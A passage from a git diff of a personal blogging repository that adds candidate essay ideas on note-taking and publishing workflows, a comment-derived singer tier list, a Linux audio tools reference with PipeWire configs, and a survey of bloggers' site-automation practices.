Not A Failed Essay +- Source: /home/krisyotam/src/100x/bloggers/resources/research.md, Andy Matuschak +- Type: essay-seed +- Confidence: high +- Kris point: Notes can be public working memory rather than unfinished articles. +- Abstract: Chronological blogging pushes the author toward completed objects. A note system can expose work in progress without apologizing for it, as long as status, links, and revision are explicit. + +That changes the function of the site. It becomes a place where ideas are developed, not merely announced. +- Notes: Based on Matuschak patterns in blogger research. + +## Candidate 38: Flat Notes Plus Frontmatter Is A Grep Workflow +- Source: /home/krisyotam/src/100x/note.md, slipbox revision +- Type: workflow +- Confidence: medium +- Kris point: Simplifying the note repo into a flat plaintext directory shifts organization into frontmatter and search. +- Abstract: A flat slipbox is a bet on metadata and grep. Instead of encoding too much hierarchy in directories, notes carry title, slug, created and modified dates, backlinks, linked notes, tags, and format. + +That makes organization explicit and movable. The file tree stays boring while the note graph, formats, and indexes do the real work. +- Notes: Source is rough planning prose with typos, but the direction is clear. + +## Candidate 39: Random Slugs Decouple Identity From Title +- Source: /home/krisyotam/src/100x/note.md, Templates +- Type: observation +- Confidence: medium +- Kris point: Notes can use opaque slugs so titles can change without breaking identity. +- Abstract: Title-derived slugs are readable, but they tie identity to wording. For notes that will be revised, merged, retitled, or reframed, an opaque slug can be more durable. + +This is especially plausible for paper notes, person notes, question notes, letters, and lectures where the metadata already gives the human-readable label. +- Notes: Inferred from the random slug examples in slipbox templates. + +## Candidate 40: The Corpus Should Produce The Prompt +- Source: /home/krisyotam/src/100x/bloggers/resources/research.md, Simon Willison and Cross-Cutting Ideas +- Type: workflow +- Confidence: high +- Kris point: Selected files should be bundled into clean model context through tooling instead of manually pasted. +- Abstract: AI-chat workflows get better when the corpus itself can produce a prompt. A command can select Markdown and MDX files, bundle them with paths, and hand the result to an LLM for stale claims, missing sources, or structure review. + +This turns chat from a blank box into an interface over the author's own archive. +- Notes: Based on `files-to-prompt` and `spec-print` patterns. + +## Candidate 41: Golden Pages Make Site Refactors Less Mystical +- Source: /home/krisyotam/src/100x/bloggers/resources/research.md, Gwern.net patterns +- Type: workflow +- Confidence: high +- Kris point: Known stress-test pages should be rendered and diffed so refactors show concrete output changes. +- Abstract: A personal site with complex typography, annotations, citations, and media needs regression pages. Choose pages that stress the system, render them, strip unstable cache-busting details, and diff against snapshots. + +That gives refactors a visual and structural test surface. The author can change internals without guessing whether the published archive shifted. +- Notes: Supported by the Gwern-inspired golden regression pages pattern. + +## Candidate 42: Screenshot Automation Is Publishing Evidence +- Source: /home/krisyotam/src/100x/bloggers/resources/research.md, Simon Willison and Toolbelt +- Type: workflow +- Confidence: high +- Kris point: Screenshots after deploys can preserve visual states and catch layout regressions. +- Abstract: Screenshots are not only for marketing pages. They are evidence of how a site looked after a deploy. Capturing important surfaces gives the author a cheap visual archive. + +For a personal site with many page types, screenshot automation complements link checks and build checks. It catches failures that compilers will never see. +- Notes: Based on `shot-scraper` and `blog-screenshot` patterns. + +## Candidate 43: Future Dates Should Fail Closed +- Source: /home/krisyotam/src/100x/bloggers/resources/research.md, Xe Iaso and Cross-Cutting Ideas +- Type: workflow +- Confidence: high +- Kris point: Scheduled posts should be blocked unless the pipeline receives an explicit allowance. +- Abstract: Future-dated content is easy to publish accidentally and hard to notice afterward. A small guard can block the mistake unless the author deliberately marks the publish path as allowed. + +This is the right kind of publishing check: cheap, deterministic, and targeted at a real class of embarrassing errors. +- Notes: Supported by Xe Iaso pattern and `blog-future-dates` tooling. + +## Candidate 44: Frontmatter Is A Contract +- Source: /home/krisyotam/src/100x/bloggers/resources/toolbelt.md, Metadata Hygiene +- Type: workflow +- Confidence: high +- Kris point: Required frontmatter fields should be checked by tooling, not remembered manually. +- Abstract: Frontmatter is not decoration. It is the contract between prose and the publishing system. Title, date, status, tags, and related fields determine routes, feeds, indexes, and reader expectations. + +That means missing fields should fail fast. A site that depends on metadata needs metadata hygiene as a normal build step. +- Notes: Supported by `blog-frontmatter` and required field patterns. + +## Candidate 45: Linkrot Repair Should Be A Patch +- Source: /home/krisyotam/src/100x/bloggers/resources/research.md, Tom MacWright +- Type: workflow +- Confidence: high +- Kris point: Linkrot repair should produce reviewable diffs instead of silent rewrites. +- Abstract: Automated link repair is useful, but silent mutation is dangerous. Upgrading HTTP to HTTPS, finding archive captures, and replacing broken URLs should leave a patch the author can inspect. + +The site gets automation without surrendering editorial control. That is the general rule for prose tooling: propose concrete changes, preserve review. +- Notes: Based on MacWright and `notfoundbot` pattern. + +## Candidate 46: Publish Structured Data As A Site Surface +- Source: /home/krisyotam/src/100x/bloggers/resources/research.md, Simon Willison +- Type: position +- Confidence: high +- Kris point: The site's databases can be public artifacts, not just hidden implementation details. +- Abstract: A personal site backed by structured data can expose that data directly. Searchable, filterable tables and APIs turn the archive into something readers and tools can inspect. + +This does not mean every private implementation table should be public. It means the public corpus can have a data surface beside the prose surface. +- Notes: Based on Simon Willison and Datasette patterns. + +## Candidate 47: Many Feeds Respect Many Reading Modes +- Source: /home/krisyotam/src/100x/bloggers/resources/research.md, Simon Willison +- Type: observation +- Confidence: high +- Kris point: A large personal site should offer feeds by content shape, tag, series, or quotation type rather than only one global feed. +- Abstract: One RSS feed treats the site as one stream. A large personal archive is not one stream. It has posts, links, quotations, long essays, series, tags, notes, and other surfaces. + +Multiple feeds let readers subscribe to the slice they actually want. That is a reader-interface improvement and a metadata discipline. +- Notes: Supported by Simon Willison pattern in blogger research. + +## Candidate 48: Author Tools Should Measure Prose Mechanically +- Source: /home/krisyotam/src/100x/author/README.md, bin and functions +- Type: workflow +- Confidence: high +- Kris point: Sentence length, passive voice, duplicate words, weasel words, readability, and repeated phrases can be checked mechanically before human revision. +- Abstract: Prose tools should not pretend to know what the essay means. They can still catch mechanical issues: duplicate adjacent words, passive constructions, weasel words, overused phrases, long sentences, readability spikes, and TK markers. + +That makes the authorial pass cleaner. The machine handles obvious texture problems; the writer handles argument and rhythm. +- Notes: Supported by listed author scripts and functions. + +## Candidate 49: Word Count Is Operational Data +- Source: /home/krisyotam/src/100x/author/README.md, Writing Sessions +- Type: observation +- Confidence: high +- Kris point: Writing progress should be tracked with the same seriousness as build or test progress. +- Abstract: Word count is not literary quality, but it is operational data. Daily logs, manuscript snapshots, deadline calculators, sprint timers, and scene statistics make writing visible as work. + +For a large writing system, this matters because momentum is otherwise anecdotal. The pipeline should know what changed, when, and by how much. +- Notes: Based on `wordlog`, `nanowrimo`, `sprint`, `deadline`, and `scenestats` tools. + +## Candidate 50: AI-Chat Posts Need A Candidate Mine +- Source: /home/krisyotam/src/100x/gwern.md; /home/krisyotam/src/100x/files/claudeAudit.md; /home/krisyotam/src/100x/files/codexAudit.md; /home/krisyotam/src/100x/bloggers/resources/research.md +- Type: workflow +- Confidence: medium +- Kris point: Planning notes and structural audits can be mined into short candidate abstracts before any post is drafted. +- Abstract: The audit notes already contain arguments: one registry, one database root, AI as review, archives before publication, site as operating system, annotations as blog substrate, and status as metadata. Mining them into compact candidates gives the writing pipeline a staging area before final prose. + +The candidate file is not publication. It is a review surface: title, source, type, confidence, cleaned point, abstract, and uncertainty. That format lets Kris choose which ideas deserve AI-chat treatment without inventing new arguments during extraction. +- Notes: Inferred from the present task and the structure of the supplied source notes. diff --git a/doc/artists.md b/doc/artists.md new file mode 100644 index 0000000000000000000000000000000000000000..809004cd8b17714fc325a6ddbe4919edd2646fbc --- /dev/null +++ b/doc/artists.md @@ -0,0 +1,139 @@ +# The 7 Levels of Singer - Artist Tier List +Source: 12,270 comments from Jay Diggs "The 7 Levels of Singer" +Ranked by vocal ability (technique, range, control, musicality, legacy) +Mentions = times referenced in comments + +--- + +## LEVEL 7 - IMMORTAL / ONCE-IN-A-GENERATION + +| Artist | Alias/Title | Mentions | Notes | +|--------|-------------|----------|-------| +| Whitney Houston | "The Voice" | 825 | The vocal benchmark. Near-perfect technique, 5-octave range, unmatched power-to-control ratio. Every generation measures itself against her. | +| Mariah Carey | "The Songbird Supreme" | 558 | Whistle register pioneer in pop, 5+ octave range, melismatic precision. Redefined what a pop vocalist could do technically. | +| Freddie Mercury | "The Golden Voice" | 1743 | Most mentioned artist in the comments. 4-octave range, operatic power, rock grit, and theatrical command. Vocal scientists still study him. | +| Aretha Franklin | "The Queen of Soul" | 284 | Invented the modern gospel-to-pop vocal blueprint. Her control, phrasing, and emotional authority are the foundation everyone builds on. | +| Celine Dion | "The Queen of Power Ballads" | 184 | Technical perfection, stamina across decades, belt-to-head transitions that defy physics. Her Grammys performance at 50+ still cleared everyone. | +| Dimash Kudaibergen | "The Six-Octave Man" | 265 | 6-octave range, classically trained, blends opera/pop/folk. The comments treat him as a cheat code for any tier list. | +| Luciano Pavarotti | "King of the High C's" | 149 | The tenor against which all tenors are measured. Pure resonance, effortless projection, perfect intonation at volume. | +| Maria Callas | "La Divina" | 20 | The dramatic soprano. Sacrificed beauty for truth in every note. Opera's most emotionally devastating instrument. | +| Minnie Riperton | "The Nightingale" | 87 | Whistle register before Mariah existed. 5.5-octave range. "Lovin' You" is a vocal Everest most can't base-camp. | + +## LEVEL 6 - POWERHOUSE / ELITE + +| Artist | Alias/Title | Mentions | Notes | +|--------|-------------|----------|-------| +| Michael Jackson | "The King of Pop" | 1512 | Second most mentioned. Comments overwhelmingly protest his placement at Level 5 in the video. Falsetto mastery, rhythmic precision, emotional range from "Who's Loving You" at age 10. | +| Beyonce | "Queen Bey" | 1252 | Third most mentioned. Live vocal athlete, 4-octave range, dances full choreography while belting. Polarizing placement in comments but undeniable instrument. | +| Christina Aguilera | "Xtina" / "The Voice of a Generation" | 142 | Comments repeatedly say she belongs in Powerhouse. Gospel, rock, pop, jazz, soul. Raw belt power rivals Whitney on her best nights. | +| Stevie Wonder | "The Eighth Wonder" | 204 | Harmonic genius, multi-octave range, and an emotional authenticity that makes technique invisible. His voice IS soul music. | +| Patti LaBelle | "The Godmother of Soul" | 120 | Belt power that can shatter glass, gospel roots, still clearing stages in her 70s. Comments furious she was omitted. | +| Jennifer Hudson | "J-Hud" | 145 | Dreamgirls proved it, every live performance confirms it. Raw power, gospel foundation, emotional devastation on command. | +| Chaka Khan | "The Queen of Funk" | 74 | 4-octave range, belt-to-falsetto fluidity, rhythmic agility. "Through the Fire" is a masterclass in controlled power. | +| Steve Perry | "The Voice" (of rock) | 246 | Highly mentioned. Tenor range, emotional vibrato, and a warmth that made Journey transcendent. Rock's most naturally gifted male voice. | +| Kelly Clarkson | "The Original Idol" | 160 | Comments call her the singer that every other great singer says sings their songs better. Belt power, range, versatility across genres. | +| Andrea Bocelli | "The Voice of God" | 86 | Classical crossover tenor with pure, effortless beauty. Not the most technically complex but the tone itself is supernatural. | +| Barbra Streisand | "The Greatest Star" | 457 | Fourth most mentioned overall. Perfect pitch, theatrical control, emotional storytelling through pure vocal craft. | +| Fantasia | "Baby Girl" | 63 | Raw gospel power, grit, and emotional honesty. Her voice breaks rules and it works. | +| Lady Gaga | "Mother Monster" | 122 | Classically trained, 3.5-octave range, genre-fluid. Sound of Music live medley proved she belongs with the greats. | + +## LEVEL 5 - MASTER / ELITE CRAFTSMAN + +| Artist | Alias/Title | Mentions | Notes | +|--------|-------------|----------|-------| +| Adele | "The Balladeer" | 214 | Emotional resonance that connects on first note. Not the widest range but possibly the most effective voice in modern pop. Surgery setback makes the current comeback more impressive. | +| Prince | "The Purple One" / "His Royal Badness" | 479 | Fifth most mentioned. Comments outraged at Level 4 placement. Falsetto, baritone, rock screams, funk, pop. Played 27 instruments and still the voice stood out. | +| Brandy | "The Vocal Bible" | 167 | Riff precision, tone stacking, harmonic layering. Singers study her like scripture. The most technically admired voice among other vocalists. | +| Frank Sinatra | "The Chairman of the Board" / "Ol' Blue Eyes" | 246 | Breath control and phrasing that invented modern vocal performance. The baritone that made a whisper fill Madison Square Garden. | +| Sam Cooke | "The King of Soul" | 97 | The bridge between gospel and pop. Pure tone, effortless delivery, and a smoothness that can't be taught. | +| Marvin Gaye | "The Prince of Soul" / "Prince of Motown" | 124 | Falsetto, full voice, and a sensuality that redefined what a male voice could communicate. "What's Going On" is vocal architecture. | +| Luther Vandross | "The Velvet Voice" | 59 | Smoothest male voice in R&B history. Melismatic runs with zero strain, perfect vibrato, emotional intimacy at scale. | +| George Michael | "Yog" | 118 | Criminally underrated. 3.5-octave range, power, falsetto, and he could outsing most of his contemporaries while barely trying. | +| Tina Turner | "The Queen of Rock 'n' Roll" | 50 | Grit, power, stamina. Her voice was an act of survival. Raspy belt that influenced every rock vocalist after her. | +| Anita Baker | "The Songstress" | 53 | Contralto perfection. Jazz/soul/R&B fusion with a warmth and intimacy that's nearly impossible to replicate. | +| Annie Lennox | "The Diva" | 32 | Contralto power, operatic training, emotional range from ethereal to devastating. "Why" is a vocal clinic. | +| Amy Winehouse | "The Lioness" | 88 | Jazz phrasing in a soul body with punk attitude. 3 octaves of raw, unfiltered emotional truth. Gone too soon. | +| Donny Hathaway | "The Genius of Soul" | 37 | Live at the bitter end is one of the greatest vocal performances recorded. Gospel power, jazz sophistication, emotional depth. | +| Kate Bush | "The Enchantress" | 37 | 4-octave range, theatrical vocal innovation, influenced every art-pop vocalist since. "Running Up That Hill" barely scratches what she could do. | +| Nat King Cole | "The King" | 57 | The velvet baritone. Effortless diction, warmth, and a tone so pure it defined an era. | +| Smokey Robinson | "The Poet Laureate of Soul" | 12 | Falsetto that floats, phrasing that tells stories. Motown's secret weapon. | +| Robert Plant | "The Golden God" | 85 | Rock's greatest male voice. 4-octave range in his prime, wailing high register, blues grit that defined Led Zeppelin. | +| Axl Rose | "The Voice of Guns N' Roses" | 52 | 5+ octave range documented. Rasp, falsetto, baritone, all weaponized. Erratic but when locked in, untouchable in rock. | + +## LEVEL 4 - ADVANCED / HIGHLY SKILLED + +| Artist | Alias/Title | Mentions | Notes | +|--------|-------------|----------|-------| +| Bruno Mars | "The Hooligans' Frontman" | 228 | Comments furious at Level 4. Modern gold standard for live pop performance. Falsetto, belt, rhythmic precision, channels every Motown great. | +| Ariana Grande | "The Ponytail" | 407 | Whistle register, 4-octave range, can impersonate Whitney/Celine/Mariah convincingly. Comments split between Level 6 and 7 for her. | +| Alicia Keys | "The Pianist" | 44 | Soulful alto-soprano, piano-driven phrasing, emotional authenticity. Not a belter but a communicator. | +| Sia | "The Hidden Voice" | 204 | Highly mentioned. Unique timbre, incredible power, unconventional technique. "Chandelier" is a vocal gauntlet few can run. | +| The Weeknd | "Abel" / "XO" | 90 | Falsetto-dominant with dark R&B tone. Not the widest range but one of the most distinctive and controlled modern voices. | +| Toni Braxton | "T-Boz of Ballads" | 23 | Rich contralto, sultry phrasing, "Un-Break My Heart" is a masterclass in emotional delivery within a limited range. | +| Jazmine Sullivan | "The Reality Show" | 28 | Gospel-trained, versatile, and criminally underrated. Comments insist she belongs higher. Riffs with surgical precision. | +| Demi Lovato | "The Warrior" | 33 | Power belt, 3.5-octave range. Comments argue she's misplaced with Justin Bieber. | +| Amy Lee | "The Gothic Soprano" | 31 | Classically trained, 4-octave range, haunting mezzo-soprano. Evanescence proved rock needed her. | +| Lauryn Hill | "L-Boogie" | 21 | Singing, rapping, songwriting, all at the highest level simultaneously. Miseducation is a vocal landmark. | +| SZA | "Solana" | 20 | Ethereal falsetto, R&B phrasing, emotional vulnerability. The voice of a generation's intimacy. | +| Erykah Badu | "The Queen of Neo-Soul" | 9 | Vocal control, jazz phrasing, spiritual presence. She doesn't sing at you, she vibrates through you. | +| D'Angelo | "Brown Sugar" | 7 | Neo-soul's architect. Falsetto layering, rhythmic vocal percussion, Prince's true heir. | +| Sade | "Sade Adu" / "The Smooth Operator" | 56 | That voice is its own genre. Understated, controlled, jazz-inflected, and impossibly elegant. | +| Ray Charles | "The Genius" | 47 | Gospel, blues, jazz, country, soul, all filtered through one of the most distinctive voices in American music. | +| Tori Kelly | "The YouTube Prodigy" | 29 | Gospel belt, pop precision, and live performances that silence rooms. Underrated in mainstream conversation. | +| Tevin Campbell | "The Young Maestro" | 15 | Tenor with soul beyond his years. "Can We Talk" is effortless vocal mastery. Should be mentioned more. | +| Gladys Knight | "The Empress of Soul" | 42 | Warm, powerful, storytelling voice. "Midnight Train to Georgia" is emotional vocal perfection. | + +## LEVEL 3 - COMPETENT / STYLISTIC + +| Artist | Alias/Title | Mentions | Notes | +|--------|-------------|----------|-------| +| Usher | "Ursher" / "Mr. Entertainment" | 79 | Great performer, solid voice, falsetto-forward. Not in the same technical league as the tiers above but a craftsman within his range. | +| Chris Brown | "Breezy" | 201 | Highly mentioned because comments reject him being anywhere near MJ's tier. Solid R&B voice, good falsetto, but technique is secondary to performance. | +| Rihanna | "RiRi" / "The Barbadian Queen" | 125 | Iconic tone, limited range, but she owns every note she sings. Style over technique, and the style is undeniable. | +| Diana Ross | "Miss Ross" | 33 | Thin voice, massive presence. Supreme style and phrasing over raw power. | +| Billie Eilish | "The Whisper Queen" | 44 | Breathy, intimate, pitch-perfect. Different game than belters but mastery within her lane. | +| John Legend | "The Legend" | 14 | Warm baritone, piano man, technically solid but rarely pushes into extraordinary territory. | +| Sam Smith | "The Balladeer" | 25 | Countertenor crossover, emotional delivery, Oscar-winning pipes. Solid but not transcendent. | +| Charlie Puth | "The Perfect Pitch Kid" | 11 | Perfect pitch, production genius, decent voice. Better writer/producer than singer. | +| Ed Sheeran | "The Ginger Troubadour" | 13 | Loop pedal wizard, effective voice, great songwriter. Not a vocal powerhouse. | +| Lana Del Rey | "Lizzy Grant" | 8 | Stylistic auteur, dreamy contralto. The voice serves the art, not the other way around. | + +## LEVEL 2 - BASIC / DEVELOPING + +| Artist | Alias/Title | Mentions | Notes | +|--------|-------------|----------|-------| +| Justin Bieber | "The Biebs" | 55 | Improved dramatically over career. Falsetto-forward, decent runs. Serviceable but not remarkable. | +| Justin Timberlake | "JT" | 12 | Falsetto pop, rhythmic precision, great performer. Voice is a vehicle for production, not a standalone instrument. | + +## LEVEL 1 - LIMITED / PERFORMER FIRST + +| Artist | Alias/Title | Mentions | Notes | +|--------|-------------|----------|-------| +| Jennifer Lopez | "JLo" / "Jenny from the Block" | 248 | 248 mentions, almost all saying she can't sing. Comments unanimously agree Level 3 was too generous. Heavy studio processing, limited range, limited control. Great entertainer, not a singer. | + +--- + +## Hidden Gems from Comments (Low Mentions, High Talent) + +These artists were mentioned fewer times but by people who clearly know their stuff: + +| Artist | Alias/Title | Mentions | Why They're Gems | +|--------|-------------|----------|-----------------| +| Jacob Collier | "The Harmony Kid" | 3 | Multi-octave, microtonal harmonics, Grammy-winning vocal arrangements. Gen Z's Stevie Wonder. | +| Jessye Norman | "The Grand Dame" | 1 | Dramatic soprano, one of the greatest operatic voices of the 20th century. | +| Barry Gibb | "The Falsetto King" | 8 | Bee Gees falsetto that defined disco. Underappreciated vocal innovator. | +| Wanya Morris | "Wanya" | 11 | Boyz II Men's secret weapon. Tenor with gospel power. | +| Beth Hart | "The Blues Queen" | 6 | 4-octave blues/rock voice, raw emotional power. One of the most underrated vocalists alive. | +| CeCe Winans | "The Gospel Queen" | 9 | Pure gospel soprano, flawless technique, spiritual authority. | +| Yolanda Adams | "The First Lady of Gospel" | 7 | Soprano with classical training, gospel fire, and crossover appeal. | +| Kim Burrell | "The Gospel Prodigy" | 7 | Vocal runs that make R&B singers take notes. Gospel's most technically gifted voice. | +| Daniel Caesar | "The Velvet Prince" | 0 | Neo-soul tenor, intimate delivery, "Best Part" is a vocal caress. | + +--- + +Total unique artists catalogued: 90+ +Total comments analyzed: 12,270 +Most mentioned: Freddie Mercury (1,743), Michael Jackson (1,512), Beyonce (1,252) +Most controversial placement: MJ at Level 5 (near-universal disagreement) +Most requested addition: Freddie Mercury (wasn't even in the original video) +Unanimous agreement: JLo cannot sing diff --git a/doc/audiofile-tools-reference.md b/doc/audiofile-tools-reference.md new file mode 100644 index 0000000000000000000000000000000000000000..d1e0a340e8d1354e014724a23887266f9d8d96a9 --- /dev/null +++ b/doc/audiofile-tools-reference.md @@ -0,0 +1,57 @@ +# Audiophile Tools Reference + +## AirPods on Linux +- **[rgardam/airpods-linux-audio-fix](https://github.com/rgardam/airpods-linux-audio-fix)** -- Sniff mode fix (the root cause of dropouts) +- **[lindaniele/airpods-linux-bluetooth-fix](https://github.com/lindaniele/airpods-linux-bluetooth-fix)** -- Diagnostics collector +- Key fix: `sudo hciconfig hci0 lp NONE` (disable BT sniff mode) +- AirPods only support AAC and SBC codecs (no LDAC/aptX) +- WirePlumber config: `["bluez5.codecs"] = "[ aac sbc ]"` + +## PipeWire / Audio Switching +- **[basecamp/omarchy](https://github.com/basecamp/omarchy)** -- Smart audio output cycler +- **[finem4n/dmenu_audio_switcher](https://github.com/finem4n/dmenu_audio_switcher)** -- Bemenu sink switcher +- **[vEnhance/dotfiles](https://github.com/vEnhance/dotfiles)** -- PulseAudio sink switcher with aliases + +## MPD Ecosystem +- **[cdown/mpdmenu](https://github.com/cdown/mpdmenu)** -- dmenu frontend for MPD +- **[bcardoso/msearch](https://github.com/bcardoso/msearch)** -- fzf MPD search/playlist manager +- **[LukeSmithxyz/voidrice](https://github.com/LukeSmithxyz/voidrice)** -- MPD statusbar modules + +## Beets +- **[beetbox/beets](https://github.com/beetbox/beets)** -- Music library manager +- **[draptik/dotfiles](https://github.com/draptik/dotfiles)** -- Beets import analyzer +- **[evnoj/my-shellscripts](https://github.com/evnoj/my-shellscripts)** -- Beets inbox processor + +## CamillaDSP (Room Correction / EQ) +- **[HEnquist/camilladsp](https://github.com/HEnquist/camilladsp)** -- Audio processing engine (960 stars) +- **[Wang-Yue/camilladsp-crossfeed](https://github.com/Wang-Yue/camilladsp-crossfeed)** -- BS2B crossfeed presets +- **[Ebert-Hanke/autoeq2camilladsp](https://github.com/Ebert-Hanke/autoeq2camilladsp)** -- AutoEQ headphone correction +- **[marcoevang/camilladsp-setrate](https://github.com/marcoevang/camilladsp-setrate)** -- Auto sample rate switching + +## Bluetooth +- **[SitiSchu/dotfiles](https://github.com/SitiSchu/dotfiles)** -- BT battery statusbar module +- **[Arthurcn96/Bluetooth-Auto-Connect](https://github.com/Arthurcn96/Bluetooth-Auto-Connect)** -- Auto-reconnect loop + +## Audio Conversion +- **[hlissner/dotfiles](https://github.com/hlissner/dotfiles)** -- Hi-res FLAC downconvert +- **[Microeinstein/plain-scripts](https://github.com/Microeinstein/plain-scripts)** -- Multi-format converter library + +## Vinyl +- **[kevinlekiller/mkvrg](https://github.com/kevinlekiller/mkvrg)** -- ReplayGain for Matroska +- **[glgoose/dotfiles](https://github.com/glgoose/dotfiles)** -- Denoise comparison (SoX vs RNNoise vs DeepFilterNet) + +## PipeWire Configs +``` +# HD Bluetooth codecs: ~/.config/wireplumber/bluetooth.lua.d/50-hd-codecs.lua +bluez_monitor.properties = { + ["bluez5.enable-sbc-xq"] = true, + ["bluez5.codecs"] = "[ ldac aac aptx aptx_hd sbc_xq sbc ]", +} + +# Low latency: /etc/pipewire/pipewire.conf.d/99-low-latency.conf +context.properties = { + default.clock.quantum = 256 + default.clock.min-quantum = 256 + default.clock.allowed-rates = [ 44100 48000 88200 96000 176400 192000 ] +} +``` diff --git a/doc/bloggers/resources/research.md b/doc/bloggers/resources/research.md new file mode 100644 index 0000000000000000000000000000000000000000..c8785617fd5ee6360e2913c56fd41baffb48ddc4 --- /dev/null +++ b/doc/bloggers/resources/research.md @@ -0,0 +1,394 @@ +# Blogger Automation Research + +This is a source survey for bloggers whose sites behave like personal infrastructure: custom build systems, script libraries, link preservation, publishing checks, AI helpers, and command-line workflows. + +## Gwern.net + +Sources: + +- Local source: `/home/krisyotam/src/parsing/gwern.net/build/bash.sh` +- Local source: `/home/krisyotam/src/parsing/gwern.net/build/sync.sh` +- Local source: `/home/krisyotam/src/parsing/gwern.net/build/linkArchive.sh` +- https://gwern.net/Design +- https://gwern.net/archiving +- https://gwern.net/static/build/ + +Patterns worth copying: + +- A sourced personal shell library for site work, not just a Makefile. Gwern's `bash.sh` has path conversion, colored check wrappers, Cloudflare cache expiry, PDF surgery, image composition, search helpers, rename helpers, tag helpers, and upload aliases. +- A full sync script that behaves like a release engineer: dependency checks, disk-space checks, cleanup, process collision checks, priority lowering, infrastructure pulls, global text rewrites, compilation, metadata checks, backlink generation, sitemap work, link checking, and upload. +- A rich publishing helper. Gwern's `upload.sh` lowercases filenames, normalizes extensions, converts media, OCR/compresses PDFs, strips metadata, handles name collisions, rsyncs, previews, adds small files to git, and keeps large files out of git. +- Preemptive link archiving. `LinkArchive.hs` and `linkArchive.sh` map URL to stable local path by domain plus SHA1, use SingleFile for HTML, treat PDFs specially, OCR/compress PDFs, preview snapshots, and split huge single-file archives. +- Link extraction as an archiving queue: `find . -name "*.md" -type f -print0 | xargs -0 linkExtractor | filter-urls >> ~/.urls.txt`. +- Style as code: global rewrites for URLs, spelling, citation conventions, typography, link cruft, and metadata normalization. +- Golden regression pages. Download known stress-test pages, strip cache-busting query strings, and diff rendered HTML against snapshots. +- Time-gated checks. A helper like `everyNDays 7 && expensive-audit` keeps the default build fast. + +Reusable commands: + +```sh +blog-links content/**/*.md | sort -u > archive-queue.txt +while read -r url; do blog-archive-url "$url"; done < archive-queue.txt +blog-frontmatter +blog-linkrot content/**/*.md +blog-backlinks > backlinks.md +``` + +## Simon Willison + +Sources: + +- https://simonwillison.net/about/ +- https://simonwillison.net/series/blogging/ +- https://datasette.io/for/websites +- https://github.com/simonw/simonw +- https://github.com/simonw/shot-scraper +- https://github.com/simonw/files-to-prompt +- https://llm.datasette.io/en/stable/templates.html +- https://llm.datasette.io/en/latest/usage.html +- https://tools.simonwillison.net/ + +Patterns worth copying: + +- Treat the blog as an application with a database. Simon's site is Django backed by PostgreSQL, exported to JSON backups, then published through Datasette surfaces. +- Publish structured data as a first-class artifact. Datasette can turn SQLite files into searchable, filterable public websites and APIs. +- Keep many feeds: all content, long posts, links, quotations, per-tag feeds, and series feeds. +- Use AI from the command line through reusable templates and fragments, with prompts saved as named tools rather than pasted one-offs. +- Publish small web tools with source links, commit history, and transcripts where useful. +- Generated sections with stable markers. Simon's GitHub profile README bot replaces marked chunks from feeds, GraphQL, and Datasette JSON, then commits only when content changes. +- Screenshot automation. `shot-scraper multi shots.yml` plus GitHub Actions can archive visual states after deploys. +- Corpus-to-prompt helpers. `files-to-prompt` bundles selected files into clean model context. + +Reusable commands: + +```sh +llm --system 'Review this draft for weak claims and missing sources' --save blog-review +cat draft.md | llm -t blog-review +files-to-prompt content -e md -e mdx --markdown | llm -s 'Find stale claims and missing sources' +shot-scraper https://example.com/ -o screenshots/home.png +sqlite-utils insert blog.db posts posts.json --pk id +datasette publish cloudrun blog.db -m metadata.json +``` + +## Andy Matuschak + +Sources: + +- https://notes.andymatuschak.org/About_these_notes +- https://notes.andymatuschak.org/Evergreen_notes +- https://github.com/andymatuschak/note-link-janitor +- https://github.com/andymatuschak/orbit + +Patterns worth copying: + +- Notes as public working memory, not just finished articles. +- Atomic notes, dense links, and repeated revision beat chronological publication alone. +- Treat note status as a first-class field. The 100x scripts should index drafts, flags, and backlinks rather than assuming everything is a finished post. +- Idempotent generated backlinks for `[[wiki links]]`: `note-link-janitor path/to/notes`. +- Notes can compile into interactive artifacts. Orbit's note-sync pattern treats Markdown prompts as source material for spaced review. + +Reusable commands: + +```sh +blog-draft-index +blog-backlinks > backlinks.md +blog_find 'evergreen|atomic|status' +``` + +## Maggie Appleton + +Sources: + +- https://maggieappleton.com/garden-history +- https://github.com/MaggieAppleton/digital-gardeners +- https://github.com/MaggieAppleton/maggieappleton.com-V2 +- https://github.com/MaggieAppleton/maggieappleton.com-V3 + +Patterns worth copying: + +- Digital garden maturity states. Drafts can be marked as seed, budding, evergreen, archived, or private instead of a binary published/draft flag. +- Visual and conceptual metadata matter. Garden pages use state, topic, and relationship as interface primitives. +- Keep a public list of other gardens as research fodder. +- Content-derived garden indexes. Maggie's V3 scripts generate links, topics, webmentions, and small "smidgeon" drafts before Astro preview/build. + +Reusable commands: + +```sh +rg -n 'status:|growth:|stage:' content notes garden +blog-frontmatter +blog-draft-index +``` + +## Tom MacWright + +Sources: + +- https://macwright.com/writing +- https://tmcw-ama.val.run/ +- https://macwright.com/2023/12/14/blog-about-blog +- https://macwright.com/2020/05/02/linkrot +- https://macwright.com/2025/04/03/personal-tools +- https://github.com/tmcw/notfoundbot + +Patterns worth copying: + +- Simple, fast, personal site with a clear stance on writing and tooling. +- Public archive pages and "recently" posts as a low-friction cadence. +- Explicit disclosure about AI usage. If AI is part of the writing pipeline, make that policy visible and use scripts for review, not silent authorship. +- Linkrot repair as PRs, not silent rewrites. `notfoundbot` can upgrade HTTP to HTTPS, find Wayback captures, and propose small diffs. +- Markdown AST plus `MagicString` minimal URL rewrites is the right shape for future citation/link tools. +- Tiny personal desk tools around existing CLIs, for example `gh search prs ... | jq ...`, translate well to draft queues and publish checklists. + +Reusable commands: + +```sh +blog-new "Recently" +blog-stats +blog-ai-review draft.md +``` + +## Robin Sloan + +Sources: + +- https://www.robinsloan.com/lab/claude-revision/ +- https://gist.github.com/robinsloan/6d5f4247b5f2239872bea8391fd63016 + +Patterns worth copying: + +- AI revision loops should be auditable. Sloan's script preserves the first plan and every revision file, making each model pass inspectable. +- Separate "plan the revision" from "apply the revision" so model edits can be evaluated rather than blindly accepted. + +Reusable commands: + +```sh +blog-ai-review draft.md > review.txt +cp draft.md draft.v1.md +``` + +## Derek Sivers + +Sources: + +- https://code.sivers.org/ +- https://data.sivers.org/uses +- https://wiki.sive.rs/plaintext +- https://sive.rs/7 +- https://code.sivers.org/ws +- https://github.com/sivers/sivers + +Patterns worth copying: + +- Plain text as durable source of truth. +- Site as personal database: articles, book notes, translations, now pages, project pages, and direct sales. +- Terminal-first stack: Vim, PostgreSQL, Ruby/Go, Sinatra, OpenBSD, mutt, Beancount, sox, 